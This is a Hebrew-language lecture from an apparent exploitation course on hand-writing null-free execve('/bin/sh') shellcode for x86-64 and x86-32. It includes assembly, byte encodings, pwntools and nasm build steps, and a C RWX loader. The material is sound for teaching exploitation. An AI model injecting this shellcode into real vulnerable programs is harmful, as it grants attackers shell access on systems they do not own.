3.1 כתיבת shellcode ידני הרצאה
בפרק הקודם למדנו לקחת שליטה מלאה על ה-RIP: לגרום לתוכנית לקפוץ בדיוק לכתובת שאנחנו בוחרים. אבל שליטה על הכתובת היא רק חצי הסיפור. עכשיו נשאל את השאלה הבאה: לאן בעצם כדאי לקפוץ? התשובה הקלאסית היא קוד מכונה משלנו, שכתבנו והזרקנו לזיכרון, שכל תפקידו הוא לפתוח לנו shell. הקוד הזה נקרא shellcode, ובהרצאה הזו נכתוב אותו ביד, בית אחרי בית, גם ל-x86-64 וגם ל-x86-32.
הרעיון פשוט להחריד: אם נצליח להריץ execve("/bin/sh", NULL, NULL) בתוך התהליך הvulnerable, נקבל מעטפת פקודות עם ההרשאות של אותו תהליך. כל שאר הקורס בעצם עוסק בדרכים שונות להגיע לרגע הזה. אז בואו נבין קודם איך נראה הקוד עצמו.
מה זה בכלל shellcode¶
המונח shellcode מתאר רצף בתים של קוד מכונה גולמי - לא קובץ ELF, לא פונקציה עם prologue ו-epilogue, פשוט הוראות שאפשר להעתיק לאזור זיכרון כלשהו ולקפוץ אליהן. אין לו טוען (loader), אין לו טבלת סמלים, ואין לו מקטעים. זו הסיבה שאנחנו כותבים אותו באסמבלי גולמי ואז מוציאים ממנו רק את הבתים של .text.
כשאנחנו מזריקים shellcode לתהליך vulnerable, בדרך כלל אנחנו לא יודעים מראש באיזו כתובת הוא יישב, ואנחנו לא יכולים להסתמך על טוען שיסדר לנו את הכתובות. לכן ל-shellcode טוב יש שתי תכונות:
- הוא עצמאי (position-independent): לא תלוי בכתובת שבה הוא רץ. במקום להסתמך על כתובות קבועות, הוא בונה כל מה שהוא צריך על המחסנית בזמן ריצה.
- הוא נקי מבתים אפס (null-free): אין בו אף בית
0x00.
התכונה השנייה היא הכי חשובה, ולכן נתחיל דווקא ממנה.
הכלל הראשון - בלי בתים אפס - null-free¶
למה בית אפס הוא בעיה? כי ברוב המקרים אנחנו מזריקים את ה-shellcode דרך פונקציה שמעתיקה מחרוזות. חשבו על strcpy, gets, scanf("%s", ...), sprintf - כולן עוצרות ברגע שהן פוגשות בית 0x00, כי ככה מוגדר סוף מחרוזת ב-C. אם ה-shellcode שלנו מכיל אפס באמצע, הפונקציה תעתיק רק את החלק שלפניו, והשאר פשוט לא יגיע ליעד.
זאת אומרת שהאויב הגדול שלנו הוא ההוראות שהאסמבלר מייצר עם אפסים בפנים. הנה שתי דוגמאות קלאסיות למלכודת:
mov rax, 59 ; 48 c7 c0 3b 00 00 00 <-- three zero bytes!
mov eax, 11 ; b8 0b 00 00 00 <-- three zero bytes!
שתי ההוראות האלה נכונות מבחינה לוגית, אבל האסמבלר מקודד את המספר הקטן בתוך שדה של 32 ביט, וממלא את הבתים העליונים באפסים. בשביל shellcode זה פסול.
הנה הטריק שפותר את זה. במקום לטעון מספר קטן לרגיסטר רחב, קודם מאפסים את הרגיסטר עם xor, ואז כותבים רק את הבית התחתון:
xor eax, eax ; 31 c0 eax = 0 (also zeroes the upper part of rax)
mov al, 59 ; b0 3b al = 59, so rax = 59
ההוראה xor reg, reg היא הדרך הקנונית לאפס רגיסטר בלי אף בית אפס, ובזכות זה שכתיבה ל-eax מאפסת אוטומטית את 32 הביטים העליונים של rax, קיבלנו rax = 59 בשני בתים נקיים לגמרי. את אותו רעיון נשתמש שוב ושוב.
קריאת המערכת - execve¶
המטרה שלנו היא הקריאה:
הפרמטר הראשון הוא הנתיב לתוכנית להריץ, השני הוא argv (מערך ארגומנטים), והשלישי הוא envp (משתני סביבה). כשמעבירים NULL לשניים האחרונים, זה פשוט אומר "בלי ארגומנטים ובלי סביבה", וזה מספיק כדי לפתוח shell.
עכשיו הפרטים החשובים, וכאן ההבדל בין 64 ל-32 ביט:
x86-64 (syscall) x86-32 (int 0x80)
syscall number rax = 59 eax = 11
argument 1 rdi = address of "/bin/sh" ebx = address of "/bin/sh"
argument 2 rsi = 0 (argv) ecx = 0 (argv)
argument 3 rdx = 0 (envp) edx = 0 (envp)
invocation syscall int 0x80
שימו לב לשני דברים. ראשית, מספר הקריאה שונה לגמרי בין הארכיטקטורות: 59 ב-64 ביט מול 11 ב-32 ביט. זו טעות נפוצה מאוד - להעתיק shellcode של ארכיטקטורה אחת ולתהות למה הוא לא עובד. שנית, מנגנון ההפעלה שונה: ב-64 ביט משתמשים בהוראה syscall, וב-32 ביט בפסיקה הישנה int 0x80.
בשתי הארכיטקטורות אנחנו צריכים איפשהו בזיכרון את המחרוזת "/bin/sh" שמסתיימת באפס, ולתת ל-rdi (או ebx) את הכתובת שלה. אין לנו איפה לשמור אותה מראש, אז נבנה אותה בזמן ריצה - על המחסנית.
בניית המחרוזת על המחסנית¶
הנה הטריק המרכזי של כל shellcode שפותח shell. אנחנו דוחפים את המחרוזת למחסנית עם push, ואז לוקחים את rsp (שמצביע עכשיו על תחילת המחרוזת) בתור המצביע לפרמטר הראשון.
יש עדינות אחת: המחרוזת "/bin/sh" היא באורך שבעה בתים, ואנחנו רוצים לדחוף בלוקים של שמונה בתים (רגיסטר שלם). אם ננסה לסדר שבעה בתים, נצטרך להוסיף בית אפס כדי להשלים לשמונה - וזה בדיוק מה שרצינו להימנע ממנו. הפתרון האלגנטי: כותבים "/bin//sh" עם שני קווים נטויים. עכשיו זה בדיוק שמונה בתים, בלי שום אפס בפנים, וה-kernel מתייחס ל-// בדיוק כמו ל-/ בודד, אז הנתיב עדיין מצביע על אותו קובץ.
בואו נחשב את הערך המספרי של "/bin//sh". הבתים לפי סדר ASCII הם:
הזיכרון ב-x86 הוא little-endian, אז כשנטען את המחרוזת לרגיסטר וניתן דחיפה, הבית 0x2f (התו /) צריך לשבת בכתובת הנמוכה ביותר. המשמעות היא שהערך שנטען לרגיסטר הוא 0x68732f2f6e69622f - שימו לב שהבית העליון הוא 0x68 (התו h) והבית התחתון הוא 0x2f (התו /). אף אחד מהבתים אינו אפס. מושלם.
בניית shellcode ל-x86-64¶
עכשיו יש לנו את כל החלקים. הנה ה-shellcode המלא, עם הסבר לכל שורה:
_start:
xor rdx, rdx ; rdx = 0 -> envp = NULL (third argument)
push rdx ; push a zero qword - this terminates the string
mov rbx, 0x68732f2f6e69622f ; "/bin//sh" in little-endian encoding
push rbx ; push the string, above the zeros
mov rdi, rsp ; rdi -> "/bin//sh" (first argument)
xor rsi, rsi ; rsi = 0 -> argv = NULL (second argument)
xor eax, eax ; zero out all of rax
mov al, 59 ; rax = 59 -> execve syscall number
syscall ; jump to the kernel, run execve
בואו נעקוב אחרי מצב המחסנית אחרי שתי הדחיפות הראשונות. קודם דחפנו את ה-0 (מ-rdx), ואז את המחרוזת, ומכיוון שהמחסנית גדלה כלפי מטה, המחרוזת יושבת בכתובות הנמוכות יותר, מתחת לאפסים:
high addresses
+---------------------------+
| 00 00 00 00 00 00 00 00 | <-- the zero qword we pushed (terminates the string)
+---------------------------+
| "/bin//sh" (8 bytes) | <-- rsp points here, this is the address that goes into rdi
+---------------------------+
low addresses (rsp)
התוצאה: rdi מצביע על מחרוזת מסתיימת באפס "/bin//sh\0", rsi ו-rdx הם אפס, rax הוא 59, וה-syscall מריץ בדיוק את execve("/bin//sh", NULL, NULL).
עכשיו נוודא שאין באמת אף בית אפס. הנה כל ההוראות עם הקידוד שלהן:
48 31 d2 xor rdx, rdx
52 push rdx
48 bb 2f 62 69 6e 2f 2f 73 68 mov rbx, 0x68732f2f6e69622f
53 push rbx
48 89 e7 mov rdi, rsp
48 31 f6 xor rsi, rsi
31 c0 xor eax, eax
b0 3b mov al, 59
0f 05 syscall
עברו בית-בית: אין אף 00. סך הכול 27 בתים של shellcode נקי, עצמאי וקומפקטי.
בניית shellcode ל-x86-32¶
באותה גישה בדיוק, אבל עם ההבדלים של 32 ביט: הרגיסטרים צרים יותר (eax, ebx, ecx, edx), מספר הקריאה הוא 11, וההפעלה היא int 0x80. מכיוון שכל דחיפה היא ארבעה בתים בלבד, נחלק את "/bin//sh" לשני חצאים ונדחוף אותם בסדר הפוך (החצי השני קודם, כי הוא הולך לכתובת הגבוהה יותר):
_start:
xor eax, eax ; eax = 0
push eax ; push a zero dword - end of string
push 0x68732f2f ; "//sh" (second half, to the higher address)
push 0x6e69622f ; "/bin" (first half, to the lower address)
mov ebx, esp ; ebx -> "/bin//sh" (first argument)
xor ecx, ecx ; ecx = 0 -> argv = NULL
xor edx, edx ; edx = 0 -> envp = NULL
mov al, 11 ; eax = 11 -> execve syscall number
int 0x80 ; jump to the kernel
שוב נחשב את שני החצאים. "/bin" הם הבתים 2f 62 69 6e, שב-little-endian זה 0x6e69622f. "//sh" הם הבתים 2f 2f 73 68, שזה 0x68732f2f. אף אחד מהם לא מכיל אפס.
הנה בדיקת הבתים המלאה:
31 c0 xor eax, eax
50 push eax
68 2f 2f 73 68 push 0x68732f2f
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx, esp
31 c9 xor ecx, ecx
31 d2 xor edx, edx
b0 0b mov al, 11
cd 80 int 0x80
23 בתים, בלי אף אפס. שימו לב איך mov al, 11 מנצל את זה ש-eax כבר אופס בהתחלה, בדיוק כמו בגרסת ה-64 ביט.
הרכבה עם pwntools - asm¶
הדרך הכי מהירה להפוך אסמבלי לבתים היא הפונקציה asm() של pwntools. קובעים את הארכיטקטורה עם context.arch, מעבירים מחרוזת אסמבלי, ומקבלים בחזרה bytes:
from pwn import *
context.arch = 'amd64' # for 32-bit: 'i386'
code = '''
xor rdx, rdx
push rdx
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor eax, eax
mov al, 59
syscall
'''
sc = asm(code)
print(len(sc), 'bytes')
print(sc.hex())
assert b'\x00' not in sc, 'there is a zero byte in the shellcode!'
השורה האחרונה היא הרגל טוב מאוד. תמיד תוסיפו assert b'\x00' not in sc אחרי כל הרכבה - זה תופס אפסים לפני שהם מבזבזים לכם שעה של דיבוג מול target אמיתי.
הספרייה pwntools גם יודעת לייצר את ה-shellcode הזה לבד דרך המודול shellcraft, למשל asm(shellcraft.amd64.linux.sh()). זה נוח, אבל בקורס הזה חשוב שתדעו לכתוב אותו ביד - כי כשתגיעו ל-shellcode מוגבל (רק תווים מודפסים, בלי בתים מסוימים) אף גנרטור לא יציל אתכם.
הרכבה עם nasm ובדיקה כתוכנית¶
לפעמים נוח לעבוד ישירות עם nasm, במיוחד אם רוצים לבדוק את ה-shellcode כתוכנית שלמה. נגדיר קובץ sh64.asm:
BITS 64
global _start
section .text
_start:
xor rdx, rdx
push rdx
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor eax, eax
mov al, 59
syscall
מרכיבים ומקשרים לתוכנית ריצה, ואז מריצים - אם הכול תקין, נקבל shell:
כדי להוציא רק את הבתים הגולמיים (לשימוש ב-exploit), אפשר לחלץ את מקטע .text:
objcopy -O binary -j .text sh64.o sh64.bin
xxd sh64.bin # see the bytes
python3 -c "print(open('sh64.bin','rb').read().hex())"
אפשר גם לפרק ולוודא שההוראות הן מה שהתכוונו:
בדיקה עם טוען - loader¶
לפני שזורקים shellcode על target אמיתי, כדאי לבדוק אותו במעבדה. הדרך הכי פשוטה עם pwntools היא run_shellcode, שבונה בשבילכם טוען זעיר, מריץ אותו, ומחזיר tube:
from pwn import *
context.arch = 'amd64'
sc = asm(open('sc64.asm').read()) # or the string from before
p = run_shellcode(sc)
p.sendline(b'id') # send a command to the shell that opened
print(p.recvline())
p.interactive()
אם אתם רוצים להבין מה קורה מתחת למכסה המנוע, כתבו טוען קטן ב-C בעצמכם. הטוען מקצה עמוד זיכרון עם הרשאות קריאה-כתיבה-הרצה (RWX), מעתיק אליו את ה-shellcode, וקופץ אליו:
#include <string.h>
#include <sys/mman.h>
unsigned char sc[] =
"\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
"\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05";
int main(void) {
void *page = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0);
memcpy(page, sc, sizeof(sc));
((void (*)(void))page)(); // jump to the shellcode
return 0;
}
ל-shellcode של 32 ביט, קמפלו את הטוען עם gcc -m32 -o loader32 loader.c והדביקו את הבתים המתאימים. שימו לב שאנחנו משתמשים ב-mmap עם PROT_EXEC כדי שהעמוד יהיה ניתן להרצה - זה עוקף את מנגנון ה-NX בתוך המעבדה שלנו. אלטרנטיבה מהירה יותר לבדיקה: לקמפל טוען שמריץ מהמחסנית עם gcc -z execstack -no-pie loader.c -o loader, אבל mmap עם RWX נקי ומפורש יותר.
חשוב להבין את ההנחה כאן: הinjection והרצה של shellcode עובדת רק כשיש אזור זיכרון ניתן להרצה שאנחנו יכולים לכתוב אליו. במעבדה יצרנו כזה במפורש (RWX). ב-target אמיתי עם NX פעיל, המחסנית וה-heap אינם ניתנים להרצה, ואז shellcode פשוט לא יעבוד - ובדיוק בשביל המקרים האלה קיים פרק 4 על ROP. כרגע אנחנו מניחים NX כבוי או אזור RWX זמין, בלי ASLR שמפריע, ומתמקדים ביכולת לכתוב את הקוד עצמו.
סיכום¶
- ה-shellcode הוא קוד מכונה גולמי, עצמאי וקומפקטי, שמטרתו הנפוצה היא להריץ
execve("/bin/sh", 0, 0)ולפתוח shell. - הכלל הקריטי הוא בלי בתים אפס, כי פונקציות העתקת מחרוזות עוצרות באפס הראשון וקוטעות את ה-shellcode.
- מאפסים רגיסטרים עם
xor reg, regוטוענים מספרים קטנים דרך הבית התחתון (mov al, N) כדי להימנע מאפסים. - בונים את המחרוזת על המחסנית עם
push, ומשתמשים ב-"/bin//sh"בת שמונה הבתים כדי להתאים לרגיסטר בלי בית אפס. - ב-x86-64:
rax = 59, ארגומנטים ב-rdi/rsi/rdx, הפעלה עםsyscall. סך הכול 27 בתים. - ב-x86-32:
eax = 11, ארגומנטים ב-ebx/ecx/edx, הפעלה עםint 0x80. סך הכול 23 בתים. - מרכיבים עם
asm()של pwntools או עם nasm, בודקים אפסים עםassert b'\x00' not in sc, ובודקים ריצה עםrun_shellcodeאו עם טועןmmapשמקצה עמוד RWX. - כל זה מניח NX כבוי או אזור RWX זמין. מול NX פעיל נעבור לטכניקות של פרק 4.